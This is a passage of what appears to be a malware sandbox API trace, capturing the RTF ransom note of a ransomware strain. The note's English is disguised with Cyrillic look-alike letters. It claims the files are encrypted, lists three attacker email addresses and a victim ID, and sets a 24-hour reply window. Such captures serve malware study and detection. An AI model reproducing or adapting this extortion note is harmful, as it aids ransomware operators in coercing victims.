d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 